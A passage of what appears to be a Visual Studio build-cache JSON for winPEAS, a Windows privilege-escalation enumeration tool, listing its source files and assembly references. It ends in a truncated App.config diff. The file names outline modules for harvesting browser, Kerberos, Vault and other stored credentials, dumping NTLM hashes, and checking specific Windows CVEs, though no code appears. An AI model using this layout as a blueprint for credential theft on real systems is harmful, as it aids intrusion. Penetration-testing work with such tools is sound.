urceFile":"3rdParty\\SQLite\\src\\vdbeblob_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\VdbeInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbemem_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbe_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Vdbe_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vtab_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\walker_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\where_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\_Custom.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\EasyTypeConverter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\ObjectExtensions.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\ObjectMemberAccessor.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\Parser.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\RehashableDictionary.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\TypeUtils.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\UriEncoding.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlAnchorDictionary.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlConstructor.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlDoubleQuoteEscaping.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlNode.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlParser.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlPresenter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlRepresenter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlSerializer.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagPrefixes.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagResolutionScheme.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagValidator.cs"},{"SourceFile":"Checks\\ApplicationsInfo.cs"},{"SourceFile":"Checks\\BrowserInfo.cs"},{"SourceFile":"Checks\\CloudInfo.cs"},{"SourceFile":"Checks\\FileAnalysis.cs"},{"SourceFile":"Checks\\FilesInfo.cs"},{"SourceFile":"Checks\\Globals.cs"},{"SourceFile":"Checks\\ISystemCheck.cs"},{"SourceFile":"Checks\\EventsInfo.cs"},{"SourceFile":"Checks\\NetworkInfo.cs"},{"SourceFile":"Checks\\ProcessInfo.cs"},{"SourceFile":"Checks\\ServicesInfo.cs"},{"SourceFile":"Checks\\SystemInfo.cs"},{"SourceFile":"Checks\\UserInfo.cs"},{"SourceFile":"Checks\\WindowsCreds.cs"},{"SourceFile":"Helpers\\AppLocker\\AppLockerHelper.cs"},{"SourceFile":"Helpers\\AppLocker\\AppLockerRules.cs"},{"SourceFile":"Helpers\\AppLocker\\IAppIdPolicyHandler.cs"},{"SourceFile":"Helpers\\AppLocker\\SharpAppLocker.cs"},{"SourceFile":"Helpers\\HandlesHelper.cs"},{"SourceFile":"Helpers\\ProgressBar.cs"},{"SourceFile":"Helpers\\CredentialManager\\Credential.cs"},{"SourceFile":"Helpers\\CredentialManager\\CredentialManager.cs"},{"SourceFile":"Helpers\\CredentialManager\\CredentialType.cs"},{"SourceFile":"Helpers\\CredentialManager\\NativeMethods.cs"},{"SourceFile":"Helpers\\CredentialManager\\PersistenceType.cs"},{"SourceFile":"Helpers\\CredentialManager\\SecureStringHelper.cs"},{"SourceFile":"Helpers\\CustomFileInfo.cs"},{"SourceFile":"Helpers\\Extensions\\EnumExtensions.cs"},{"SourceFile":"Helpers\\MemoryHelper.cs"},{"SourceFile":"Helpers\\PermissionsHelper.cs"},{"SourceFile":"Helpers\\Search\\LOLBAS.cs"},{"SourceFile":"Helpers\\Search\\Patterns.cs"},{"SourceFile":"Helpers\\YamlConfig\\YamlConfig.cs"},{"SourceFile":"Helpers\\YamlConfig\\YamlConfigHelper.cs"},{"SourceFile":"Info\\ApplicationInfo\\ApplicationInfoHelper.cs"},{"SourceFile":"Info\\ApplicationInfo\\AutoRuns.cs"},{"SourceFile":"Info\\ApplicationInfo\\DeviceDrivers.cs"},{"SourceFile":"Info\\ApplicationInfo\\InstalledApps.cs"},{"SourceFile":"Helpers\\Beaprint.cs"},{"SourceFile":"Info\\CloudInfo\\AWSInfo.cs"},{"SourceFile":"Info\\CloudInfo\\AzureInfo.cs"},{"SourceFile":"Info\\CloudInfo\\EndpointData.cs"},{"SourceFile":"Info\\CloudInfo\\GWorkspaceInfo.cs"},{"SourceFile":"Info\\CloudInfo\\GCPInfo.cs"},{"SourceFile":"Info\\CloudInfo\\CloudInfoBase.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\ExplicitLogonEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\Logon.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\LogonEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\LogonInfo.cs"},{"SourceFile":"Info\\EventsInfo\\PowerShell\\PowerShell.cs"},{"SourceFile":"Info\\EventsInfo\\PowerShell\\PowerShellEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Common.cs"},{"SourceFile":"Info\\EventsInfo\\Power\\Power.cs"},{"SourceFile":"Info\\EventsInfo\\Power\\PoweredEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\ProcessCreation\\ProcessCreation.cs"},{"SourceFile":"Info\\EventsInfo\\ProcessCreation\\ProcessCreationEventInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Certificates\\CertificateInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Certificates\\Certificates.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfee.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfeeSiteInfo.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfeeSitelistInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\Office.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OfficeRecentFileInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OneDrive\\CloudSyncProviderInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OneDrive\\OneDriveSyncProviderInfo.cs"},{"SourceFile":"Info\\FilesInfo\\WSL\\WSLHelper.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\IPVersion.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\MibTcpState.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\Protocol.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\TcpTableClass.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\UdpTableClass.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettings.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettingsInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettingsKey.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkConnection.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetPinger.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetworkUtils.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetworkScanner.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\PortScanner.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCP6ROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCP6TABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCPROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCPTABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDP6ROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDP6TABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDPROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDPTABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\TcpConnectionInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\UdpConnectionInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\Win32Error.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditEntryInfo.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditPolicies.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditPolicyGPOInfo.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditType.cs"},{"SourceFile":"Info\\SystemInfo\\CredentialGuard.cs"},{"SourceFile":"Info\\SystemInfo\\DotNet\\DotNet.cs"},{"SourceFile":"Info\\SystemInfo\\DotNet\\DotNetInfo.cs"},{"SourceFile":"Info\\SystemInfo\\GroupPolicy\\GroupPolicy.cs"},{"SourceFile":"Info\\SystemInfo\\GroupPolicy\\LocalGroupPolicyInfo.cs"},{"SourceFile":"Info\\SystemInfo\\NamedPipes\\NamedPipeInfo.cs"},{"SourceFile":"Info\\SystemInfo\\NamedPipes\\NamedPipes.cs"},{"SourceFile":"Info\\SystemInfo\\Ntlm\\Ntlm.cs"},{"SourceFile":"Info\\SystemInfo\\Ntlm\\NtlmSettingsInfo.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PluginAccessInfo.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PowerShell.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PowerShellSessionSettingsInfo.cs"},{"SourceFile":"Info\\SystemInfo\\Printers\\PrinterInfo.cs"},{"SourceFile":"Info\\SystemInfo\\Printers\\Printers.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysMon.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonEventInfo.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonHashAlgorithm.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonInfo.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonOptions.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\AsrRule.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\AsrSettings.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefender.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettings.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettingsInfo.cs"},{"SourceFile":"Info\\UserInfo\\LogonSessions\\LogonSessions.cs"},{"SourceFile":"Info\\UserInfo\\LogonSessions\\LogonSessionsInfo.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\JoinType.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\Tenant.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\TenantInfo.cs"},{"SourceFile":"Info\\WindowsCreds\\AppCmd\\AppCmd.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPClientSettings.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPServerSettings.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPSettingsInfo.cs"},{"SourceFile":"Info\\WindowsCreds\\RemoteDesktop.cs"},{"SourceFile":"InterestingFiles\\GPP.cs"},{"SourceFile":"InterestingFiles\\InterestingFiles.cs"},{"SourceFile":"InterestingFiles\\Unattended.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Brave\\Brave.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Browser.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\BrowserBase.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Chrome\\Chrome.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\ChromiumBase.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Models\\Login.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Decryptor\\GCDecryptor.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Decryptor\\LocalState.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\FFDecryptor.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\FFLogins.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\Firefox.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\LoginData.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\IBrowser.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\InternetExplorer.cs"},{"SourceFile":"Checks\\Checks.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Models\\CredentialModel.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Opera\\Opera.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Enums.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Helpers.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Kerberos.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Structs.cs"},{"SourceFile":"KnownFileCreds\\KnownFileCredsInfo.cs"},{"SourceFile":"KnownFileCreds\\Putty.cs"},{"SourceFile":"KnownFileCreds\\RemoteDesktop.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\NtlmHashInfo.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecBuffer.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecBufferDesc.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecurityPackages.cs"},{"SourceFile":"KnownFileCreds\\Slack\\Slack.cs"},{"SourceFile":"KnownFileCreds\\SuperPutty\\SuperPutty.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Enums\\VAULT_ELEMENT_TYPE.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Enums\\VAULT_SCHEMA_ELEMENT_ID.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_ELEMENT.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN7.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Structs\\VAULT_ITEM_WIN8.cs"},{"SourceFile":"KnownFileCreds\\Vault\\VaultCli.cs"},{"SourceFile":"Helpers\\MyUtils.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\Enums.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\SamServer.cs"},{"SourceFile":"Info\\UserInfo\\SAM\\Structs.cs"},{"SourceFile":"Info\\UserInfo\\SID2GroupNameHelper.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Enums.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Structs.cs"},{"SourceFile":"Info\\UserInfo\\Token\\Token.cs"},{"SourceFile":"Info\\UserInfo\\User.cs"},{"SourceFile":"Native\\Advapi32.cs"},{"SourceFile":"Native\\Classes\\SafeTokenHandle.cs"},{"SourceFile":"Native\\Classes\\UNICODE_STRING.cs"},{"SourceFile":"Native\\Enums\\AccessTypes.cs"},{"SourceFile":"Native\\Enums\\CredentialType.cs"},{"SourceFile":"Native\\Enums\\DS_NAME_FLAGS.cs"},{"SourceFile":"Native\\Enums\\DS_NAME_FORMAT.cs"},{"SourceFile":"Native\\Enums\\GPOLink.cs"},{"SourceFile":"Native\\Enums\\GPOOptions.cs"},{"SourceFile":"Native\\Enums\\NetJoinStatus.cs"},{"SourceFile":"Native\\Enums\\PrivilegeAttributes.cs"},{"SourceFile":"Native\\Enums\\SECURITY_IMPERSONATION_LEVEL.cs"},{"SourceFile":"Native\\Enums\\SECURITY_LOGON_TYPE.cs"},{"SourceFile":"Native\\Enums\\ServerTypes.cs"},{"SourceFile":"Native\\Enums\\SessionSecurity.cs"},{"SourceFile":"Native\\Enums\\SE_OBJECT_TYPE.cs"},{"SourceFile":"Native\\Enums\\SID_NAME_USE.cs"},{"SourceFile":"Native\\Enums\\TokenType.cs"},{"SourceFile":"Native\\Enums\\TOKEN_ELEVATION_TYPE.cs"},{"SourceFile":"Native\\Enums\\TOKEN_INFORMATION_CLASS.cs"},{"SourceFile":"Native\\Enums\\UserPrivType.cs"},{"SourceFile":"Native\\Enums\\WTS_INFO_CLASS.cs"},{"SourceFile":"Native\\Iphlpapi.cs"},{"SourceFile":"Native\\Ntdll.cs"},{"SourceFile":"Native\\Kernel32.cs"},{"SourceFile":"Native\\Netapi32.cs"},{"SourceFile":"Native\\Ntdsapi.cs"},{"SourceFile":"Native\\Psapi.cs"},{"SourceFile":"Native\\Samlib.cs"},{"SourceFile":"Native\\Secur32.cs"},{"SourceFile":"Native\\Structs\\DSREG_JOIN_INFO.cs"},{"SourceFile":"Native\\Structs\\DSREG_USER_INFO.cs"},{"SourceFile":"Native\\Structs\\LastInputInfo.cs"},{"SourceFile":"Native\\Structs\\LUID.cs"},{"SourceFile":"Native\\Structs\\LUID_AND_ATTRIBUTES.cs"},{"SourceFile":"Native\\Structs\\PRIVILEGE_SET.cs"},{"SourceFile":"Native\\Structs\\SID_AND_ATTRIBUTES.cs"},{"SourceFile":"Native\\Structs\\TOKEN_ELEVATION.cs"},{"SourceFile":"Native\\Structs\\TOKEN_MANDATORY_LABEL.cs"},{"SourceFile":"Native\\Structs\\TOKEN_PRIVILEGES.cs"},{"SourceFile":"Native\\Structs\\USER_INFO_3.cs"},{"SourceFile":"Native\\User32.cs"},{"SourceFile":"Native\\Vaultcli.cs"},{"SourceFile":"Native\\WlanApi.cs"},{"SourceFile":"Native\\Wtsapi32.cs"},{"SourceFile":"TaskScheduler\\AccessControlExtension.cs"},{"SourceFile":"TaskScheduler\\Action.cs"},{"SourceFile":"TaskScheduler\\ActionCollection.cs"},{"SourceFile":"TaskScheduler\\CultureSwitcher.cs"},{"SourceFile":"TaskScheduler\\EnumGlobalizer.cs"},{"SourceFile":"TaskScheduler\\EnumUtil.cs"},{"SourceFile":"TaskScheduler\\JetBrains.Annotations.cs"},{"SourceFile":"TaskScheduler\\NamedValueCollection.cs"},{"SourceFile":"TaskScheduler\\NotV1SupportedException.cs"},{"SourceFile":"TaskScheduler\\ReflectionHelper.cs"},{"SourceFile":"TaskScheduler\\Task.cs"},{"SourceFile":"TaskScheduler\\TaskCollection.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\InteropUtil.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\NetServerEnum.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\NTDSAPI.cs"},{"SourceFile":"TaskScheduler\\TaskEditor\\Native\\SYSTEMTIME.cs"},{"SourceFile":"TaskScheduler\\TaskEvent.cs"},{"SourceFile":"TaskScheduler\\TaskFolder.cs"},{"SourceFile":"TaskScheduler\\TaskFolderCollection.cs"},{"SourceFile":"TaskScheduler\\TaskHandlerInterfaces.cs"},{"SourceFile":"TaskScheduler\\TaskSecurity.cs"},{"SourceFile":"TaskScheduler\\TaskService.cs"},{"SourceFile":"TaskScheduler\\Trigger.cs"},{"SourceFile":"TaskScheduler\\TriggerCollection.cs"},{"SourceFile":"TaskScheduler\\User.cs"},{"SourceFile":"TaskScheduler\\V1\\TaskSchedulerV1Interop.cs"},{"SourceFile":"TaskScheduler\\V2\\TaskSchedulerV2Interop.cs"},{"SourceFile":"TaskScheduler\\Wildcard.cs"},{"SourceFile":"TaskScheduler\\WindowsImpersonatedIdentity.cs"},{"SourceFile":"TaskScheduler\\XmlSerializationHelper.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Enums.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Structs.cs"},{"SourceFile":"Info\\NetworkInfo\\Firewall.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkInfoHelper.cs"},{"SourceFile":"Info\\ProcessInfo\\DefensiveProcesses.cs"},{"SourceFile":"Info\\ProcessInfo\\InterestingProcesses.cs"},{"SourceFile":"Info\\ProcessInfo\\ProcessesInfo.cs"},{"SourceFile":"Program.cs"},{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"Properties\\Resources.Designer.cs"},{"SourceFile":"Info\\ServicesInfo\\ServicesInfoHelper.cs"},{"SourceFile":"Info\\SystemInfo\\SystemInfo.cs"},{"SourceFile":"Info\\UserInfo\\UserInfoHelper.cs"},{"SourceFile":"Helpers\\DomainHelper.cs"},{"SourceFile":"Helpers\\CheckRunner.cs"},{"SourceFile":"Helpers\\ReflectionHelper.cs"},{"SourceFile":"Helpers\\Registry\\RegistryHelper.cs"},{"SourceFile":"Helpers\\Search\\SearchHelper.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-0836.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-0841.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1064.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1130.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1253.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1315.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1385.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1388.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2019-1405.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0668.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0683.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-1013.cs"},{"SourceFile":"3rdParty\\Watson\\Msrc\\CVE-2020-0796.cs"},{"SourceFile":"3rdParty\\Watson\\Vulnerability.cs"},{"SourceFile":"3rdParty\\Watson\\VulnerabilityCollection.cs"},{"SourceFile":"3rdParty\\Watson\\Watson.cs"},{"SourceFile":"3rdParty\\Watson\\Wmi.cs"},{"SourceFile":"Wifi\\Wifi.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\Interop.cs"},{"SourceFile":"Wifi\\NativeWifiApi\\WlanClient.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\EntityFramework.6.4.4\\lib\\net45\\EntityFramework.SqlServer.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Newtonsoft.Json.13.0.3\\lib\\net45\\Newtonsoft.Json.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ComponentModel.DataAnnotations.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\Stub.System.Data.SQLite.Core.NetFramework.1.0.119.0\\lib\\net451\\System.Data.SQLite.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.EF6.1.0.119.0\\lib\\net451\\System.Data.SQLite.EF6.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\packages\\System.Data.SQLite.Linq.1.0.119.0\\lib\\net451\\System.Data.SQLite.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.DirectoryServices.AccountManagement.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Management.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Net.Http.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Security.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.ServiceProcess.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Transactions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Web.Extensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Windows.Forms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\carlos_hacktricks\\Desktop\\git\\PEASS-ng\\winPEAS\\winPEASexe\\winPEAS\\bin\\Debug\\winPEAS.exe","OutputItemRelativePath":"winPEAS.exe"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]} \ No newline at end of file diff --git a/winPEAS/winPEASexe/winPEAS/App.config b/winPEAS/winPEASexe/winPEAS/App.config index 23a90a8..9d37db7 100755 --- a/winPEAS/winPEASexe/winPEAS/App.config +++ b/winPEAS/winPEASexe/winPEAS/App.config @@ -1,9 +1,25 @@ - + - - - - - - - 